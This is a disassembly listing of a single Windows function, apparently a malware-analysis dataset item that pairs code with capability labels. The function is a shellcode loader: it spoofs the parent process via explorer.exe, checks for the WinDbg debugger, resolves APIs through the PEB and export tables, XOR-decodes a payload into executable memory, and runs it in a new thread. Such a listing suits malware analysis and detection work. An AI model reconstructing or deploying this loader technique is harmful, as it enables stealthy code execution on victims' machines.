Function at 0x140001390
Capabilities:
Access peb ldr_data
Create process on windows
Create thread
Encode data using xor
Enumerate processes
Get kernel32 base address
Resolve function by parsing pe exports
Spoof parent pid

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x9c0]
sub rsp, 0xac0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x9b0], rax
xorps xmm0, xmm0
mov dword [rsp + 0x70], 4
xor eax, eax
mov dword [rbp], 0x238
xor r13d, r13d
mov qword [rbp - 0x28], rax
xor edx, edx
mov qword [rsp + 0x60], r13
movups xmmword [rsp + 0x78], xmm0
lea ecx, [rax + 2]
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x14000148b
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x14000148b
lea rdi, str.explorer.exe
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 0x2c]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rdi + rax*2 + 2]
jne 0x140001470
add rax, 2
cmp rax, 0xd
je 0x140001484
movzx ecx, word [rdx + rax*2]
cmp cx, word [rdi + rax*2]
je 0x140001450
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140001440
jmp 0x14000148b
mov ebx, dword [rbp + 8]
test ebx, ebx
jne 0x140001493
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
xor r8d, r8d
lea r9, [rsp + 0x60]
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x60]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r8d, r8d
lea r9, [rsp + 0x60]
mov rcx, rax
mov qword [rsp + 0x58], rax
mov rdi, rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], r13
lea r9, [rsp + 0x68]
mov qword [rsp + 0x28], r13
xor edx, edx
mov r8d, 0x20000
mov qword [rsp + 0x68], rax
mov rcx, rdi
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rax, [rbp - 0x18]
mov qword [rbp - 0x28], rdi
mov qword [rsp + 0x48], rax
lea rdx, str.notepad.exe
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r13
xor ecx, ecx
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rax, qword gs:[0x60]
mov r14, r13
mov r15, qword [rax + 0x18]
add r15, 0x20
mov rsi, qword [r15]
call fcn.140001160
call fcn.140001160
mov r8d, 0x104
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001985
mov qword [rsp + 0xaf0], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
lea rcx, [rbp + 0x244]
mov r8d, 0x234
mov edi, eax
mov r12d, r13d
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rbp + 0x240], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp + 0x240]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001615
nop dword [rax]
cmp dword [rbp + 0x248], edi
je 0x14000160e
lea rdx, [rbp + 0x240]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400015f0
jmp 0x140001615
mov r12d, dword [rbp + 0x260]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r12d
mov dword [rbp - 0x20], 0x104
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r9, [rbp - 0x20]
xor edx, edx
mov rcx, rax
lea r8, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
lea rcx, [rbp + 0x490]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.WINDBG.EXE
lea rcx, [rbp + 0x490]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x140001950
nop word [rax + rax]
movzx r9d, word [rsi + 0x38]
xor edx, edx
mov r8, qword [rsi + 0x40]
xor ecx, ecx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
movzx r9d, word [rsi + 0x38]
xor edx, edx
mov r8, qword [rsi + 0x40]
xor ecx, ecx
mov qword [rsp + 0x38], r13
mov rbx, rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rbx
call qword [sym.imp.USER32.dll_CharUpperA]
lea rdx, str.KERNEL32.DLL
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140001729
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsi]
cmp rsi, r15
jne 0x140001680
jmp 0x140001741
mov r14, qword [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
movsxd rax, dword [r14 + 0x3c]
xor r12d, r12d
xor esi, esi
mov ecx, dword [rax + r14 + 0x88]
add rcx, r14
mov r13d, dword [rcx + 0x1c]
mov r15d, dword [rcx + 0x20]
add r13, r14
mov ebx, dword [rcx + 0x24]
add r15, r14
mov eax, dword [rcx + 0x18]
add rbx, r14
test eax, eax
je 0x1400017d2
mov qword [rsp + 0x50], rax
nop word [rax + rax]
mov edi, dword [r15]
lea rdx, str.GetModuleHandleA
add rdi, r14
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400017a4
movzx eax, word [rbx]
mov r12d, dword [r13 + rax*4]
add r12, r14
lea rdx, str.GetProcAddress
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400017c2
movzx eax, word [rbx]
mov esi, dword [r13 + rax*4]
add rsi, r14
add r15, 4
add rbx, 2
sub qword [rsp + 0x50], 1
jne 0x140001780
lea rcx, str.kernel32.dll
call r12
lea rdx, [0x140003518]
mov rcx, rax
mov rbx, rax
call rsi
lea rdx, [0x140003528]
mov rcx, rbx
call rsi
lea rdx, [0x140003538]
mov rcx, rbx
call rsi
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x7b0]
mov edx, 4
lea rcx, str._a_bC
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x140001821
mov eax, dword [str.Jxlio]
mov ecx, 0x200
mov dword [rbp + 0x480], eax
movzx eax, word [0x140003754]
mov word [rbp + 0x484], ax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, rax
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x480]
mov rbx, rax
call section..text
mov edx, 8
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rdx + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [rbx]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rax + 2]
nop word [rax + rax]
xor byte [rcx - 2], 0x35
add edx, 8
xor byte [rcx - 1], 0x35
xor byte [rcx], 0x35
xor byte [rcx + 1], 0x35
xor byte [rcx + 2], 0x35
xor byte [rcx + 3], 0x35
xor byte [rcx + 4], 0x35
xor byte [rcx + 5], 0x35
lea rcx, [rcx + 8]
cmp edx, 8
jb 0x1400018e0
lea rcx, [rbp - 0x1c]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
mov r8, rax
xor ecx, ecx
mov dword [rsp + 0x20], 0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12, qword [rsp + 0xaf0]
xor eax, eax
mov rcx, qword [rbp + 0x9b0]
xor rcx, rsp
call fcn.1400019a0
lea r11, [rsp + 0xac0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
xor eax, eax
jmp 0x14000195a